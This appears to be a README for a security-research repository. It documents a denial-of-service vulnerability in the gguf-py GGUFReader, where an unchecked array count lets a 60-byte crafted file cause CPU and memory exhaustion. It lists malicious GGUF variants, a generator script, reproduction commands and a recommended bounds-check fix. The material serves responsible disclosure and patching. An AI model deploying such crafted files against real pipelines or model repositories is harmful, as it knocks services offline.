GGUF DoS PoC β Unbounded Array Count in gguf-py GGUFReader
β οΈ Security Research Only β Files in this repository are malicious by design. Do not load them in production environments. Intended for vulnerability reproduction by security researchers and program triagers only.
Vulnerability Summary
| Field | Details |
|---|---|
| Affected Library | gguf-py (pip: gguf) β all versions including v0.18.0 |
| Affected File | gguf/gguf_reader.py β _get_field_parts() |
| Vulnerability Type | Denial of Service β CPU Exhaustion + Memory Exhaustion |
| CWE | CWE-789: Uncontrolled Memory Allocation |
| CVSS v3.1 | 7.5 High β AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| Reporter | Eric Gachara |
| Disclosure | huntr.com β Responsible Disclosure |
What Is the Vulnerability?
The Python GGUF reader (gguf-py) reads the array element count field (alen)
directly from a .gguf file as a raw uint64 β a value the attacker fully
controls, up to 18,446,744,073,709,551,615. It then loops that many times
with no bounds check:
# gguf/gguf_reader.py β _get_field_parts() ~line 244
alen = self._get(offs, np.uint64) # attacker-controlled β no cap
for idx in range(alen[0]): # loops up to 2^64-1 times
aparts += curr_parts # unbounded list growth β OOM
The C++ parser in the same repository correctly protects against this:
// ggml/src/gguf.cpp
#define GGUF_MAX_ARRAY_ELEMENTS (1024*1024*1024) // hard cap: 1 billion
if (n > GGUF_MAX_ARRAY_ELEMENTS) {
return false; // file rejected safely
}
The Python reader has no equivalent check.
Repository Contents
| File | Description |
|---|---|
dos_memory_exhaust.gguf |
60-byte malicious GGUF file β triggers DoS on load |
craft_malicious_gguf.py |
Generator script β creates malicious GGUF variants |
demo_dos.py |
Reproducer β loads the malicious file with memory monitoring |
GGUF DoS PoC β Terminal Output.pdf |
Evidence β terminal output showing confirmed DoS |
Reproduction Steps
Prerequisites
pip install gguf # tested on v0.18.0
Step 1 β Trigger the vulnerability
from gguf import GGUFReader
# This call hangs β never returns
reader = GGUFReader("dos_memory_exhaust.gguf")
Step 2 β Run the full demo (with safe timeout)
# Clone or download this repo, then:
python3 demo_dos.py c 15 # variant C, 15s timeout β safe to run
Expected Output
[*] Malicious file: dos_memory_exhaust.gguf (60 bytes)
[*] Memory before: 30.0 MB
[*] Loading file...
[5s] RSS: 241.8 MB (peak: 241.8 MB)
[10s] RSS: 422.2 MB (peak: 422.2 MB)
[15s] RSS: 623.2 MB (peak: 623.2 MB)
[!] VULNERABILITY CONFIRMED β Process hung for 15.2s
[!] Memory: 30.0 MB β 623.2 MB (grew +593.2 MB)
[!] 100% CPU sustained throughout
A 60-byte file causes ~40 MB/second memory growth at 100% CPU.
PoC Variants
Run craft_malicious_gguf.py to generate all variants:
python3 craft_malicious_gguf.py all
| Variant | File | Array Count | Behavior |
|---|---|---|---|
| A | dos_cpu_exhaust.gguf |
10,000,000,000 | CPU exhaustion for hours |
| B | dos_infinite_loop.gguf |
2^64 - 1 | Truly infinite β process never exits |
| C | dos_memory_exhaust.gguf |
100,000,000 | Safe demo β completes in ~60s |
β οΈ Variants A and B will hang the process indefinitely. Always use a timeout or run
demo_dos.pywhich handles this automatically.
Impact
Any Python application calling GGUFReader on an untrusted .gguf file is
vulnerable β including:
gguf-dumpβ CLI tool installed with the packageconvert-hf-to-gguf.pyβ standard HuggingFace β GGUF conversion scriptllama-cpp-pythonβ Python bindings that may invoke the Python reader- Automated CI pipelines that validate uploaded model files at scale
An attacker uploads a malicious 60-byte model to a model repository. Any downstream tool that loads it is fully hung β 100% CPU, unbounded memory growth, no recovery without a kill signal.
Recommended Fix
# Add to gguf/gguf_reader.py
GGUF_MAX_ARRAY_ELEMENTS = 1_073_741_824 # mirrors C++ GGUF_MAX_ARRAY_ELEMENTS
# In _get_field_parts(), after reading alen:
if int(alen[0]) > GGUF_MAX_ARRAY_ELEMENTS:
raise ValueError(
f"Array count {alen[0]} exceeds maximum ({GGUF_MAX_ARRAY_ELEMENTS}). "
f"File may be malicious."
)
Responsible Disclosure
This vulnerability was discovered and reported through huntr.com responsible disclosure program.
Please do not use these files for any purpose other than reproducing and understanding the vulnerability for research or patching purposes.
License
MIT β for research use only.
- Downloads last month
- 13
We're not able to determine the quantization variants.